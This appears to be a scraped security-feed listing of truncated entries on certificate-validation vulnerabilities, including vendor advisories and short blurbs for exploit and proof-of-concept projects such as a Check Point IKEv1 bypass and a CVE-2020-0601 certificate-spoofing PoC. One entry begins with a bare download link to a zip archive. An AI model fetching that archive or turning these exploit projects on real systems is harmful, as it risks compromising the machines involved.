CVE-2026-86889

A certificate validation issue in Apple macOS allowed an attacker in a privileged network position to potentially intercept network traffic . The flaw was addressed through improved certificate validation. The issue is fixed in macOS Golden Gate 27 , macOS Sequoia 15.8 , and macOS Tahoe 26.7 . No...

EUVD-2026-77911

A certificate validation issue was addressed with improved certificate validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker in a privileged network position may be able to intercept network traffic...

CVE-2026-86881

CVE-2026-86881 is a certificate validation issue affecting multiple Apple operating systems, including iOS 26.7, iPadOS 26.7, macOS Sequoia 15.8, macOS Tahoe 26.7 , and other Apple platforms. The root cause is insufficient validation of extended key usages on certificates. An attacker with a comp...

EUVD-2026-77977

A certificate validation issue was addressed with improved certificate validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An attacker with a compromised intermediate...

rsync: rsync: TLS Certificate Validation Bypass allows interception of encrypted sessions

A flaw was found in the rsync-ssl wrapper script's TLS certificate validation. An on-path attacker can present self-signed or invalid certificates to intercept, decrypt, or tamper with encrypted sessions. Because rsync fails to validate the certificate against a trusted CA or verify hostname...

CVE-2026-50751---Check-Point-IKEv1-Authentication-Bypass-Exploit

markdown CVE-2026-50751 - Check Point IKEv1 Authentication Bypass Exploit ⚠️ ADVERTENCIA IMPORTANTE Este código es SOLO para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado contra sistemas sin permiso explícito es ILEGAL. El autor no se hace responsable del uso indebido d...

badecparams

BADECPARAMS 针对 CVE-2020-0601 的概念验证。 badecparams.py 生成一个利用该漏洞的中间证书颁发机构， 然后签发 Authenticode 和 TLS 证书。这些 TLS 证书在 Microsoft Edge 和 Internet Explorer 中具有扩展验证。 httpd.py 通过 HTTPS 提供 www 子文件夹中的内容， 使用命令行中提供的 PEM 编码证书链。 root@kitploit: ./badecparams.py ./httpd.py localhost.key 受影响软件 Windows Update...

shim

shim，第一阶段的 UEFI 引导加载程序 shim 是一个简单的 EFI 应用程序，运行时它会尝试打开并执行另一个应用程序。它最初会尝试通过标准的 EFI LoadImage 和 StartImage 调用来完成此操作。如果这些调用失败（例如，因为启用了安全启动且二进制文件未使用相应的密钥签名），它将根据内置证书验证该二进制文件。如果验证成功并且该二进制文件或签名密钥未被禁止，shim 将重定位并执行该二进制文件。 协议 shim 锁定协议 shim 还会安装一个协议，允许第二阶段的引导加载程序执行类似的二进制验证。该协议具有 shim.h 头文件中描述的...

TWSL2011-007_iOS_code_workaround

= testcert 用于 TWSL2011-007 漏洞变通方案的参考实现（即 CVE-2011-0228）。 作者：Eric Monti 日期：2011 年 7 月 28 日 = 编译 使用 Apple iOS SDK CFLAGS 编译，并添加： gcc -o testcert testcert.m -framework Foundation -framework Security 如果你只是想测试一下，上述编译参数在 OS X 下可以直接使用。 = 用法： root@kitploit: $ testcert path/to/file.der severname 文件应为原始 DE...

qark

Quick Android Review Kit This tool is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs. The tool is also capable of creating "Proof-of-Concept" deployable APKs and/or ADB commands, capable of exploiting many of the...

CVE-2025-54424

https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip CVE-2025-54424: 1Panel RCE Scanner and Safe Testing Toolkit for Labs CVE-2025-54424 是关于 1Panel...

Important: Red Hat Security Advisory: git-lfs security update

An update for git-lfs is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption

A flaw was found in the crypto/tls component. This vulnerability occurs during Transport Layer Security TLS session resumption when certificate authority CA settings are modified between the initial and resumed handshakes. An attacker could exploit this to bypass certificate validation, allowing ...

Meterpreter_Paranoid_Mode-SSL

MeterpreterParanoidMode v1.4 - SSL/TLS接続 root@kitploit: バージョンリリース: v1.4 安定版 作者: pedro ubuntu r00t-3xp10it 対応ディストリビューション: Linux Kali, Mint, Ubuntu Suspicious-Shell-Activity SSA RedTeam 開発 @2017 説明: root@kitploit: MeterpreterParanoidMode.sh は、接続先のハンドラの証明書を確認させることで、Meterpreter...

Astra Linux – Vulnerability in gnutls28

A flaw was discovered in gnutls. A remote attacker could exploit this vulnerability by presenting a specially crafted certificate that contains Uniform Resource Identifier URI or Service SRV Subject Alternative Names SANs. This could cause the certificate validation process to incorrectly fall ba...

rustbuster

rustbuster A Comprehensive Web Fuzzer and Content Discovery Tool Introduction Check the blog post: Introducing Rustbuster — A Comprehensive Web Fuzzer and Content Discovery Tool Download You can download prebuilt binaries from here. Installation root@kitploit: installrustbuster echo "Installing...

crypto/x509: golang: Go crypto/x509: Certificate validation bypass due to incorrect DNS constraint application

A flaw was found in the crypto/x509 package within Go golang. When verifying a certificate chain, excluded DNS Domain Name System constraints are not correctly applied to wildcard DNS Subject Alternative Names SANs if the case of the SAN differs from the constraint. This oversight could allow an...

Important: Red Hat Security Advisory: git-lfs security update

An update for git-lfs is now available for Red Hat Enterprise Linux 10.0 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available fo...

CVE-2026-90623

A weakness has been identified in andreashappe cochise up to 0.4.1. Affected is the function asyncssh.connect of the file src/cochise/sshconnection.py of the component SSH Host Key Handler. Executing a manipulation can lead to improper certificate validation. The attack may be launched remotely...

Important: Red Hat Security Advisory: grafana-pcp security update

An update for grafana-pcp is now available for Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...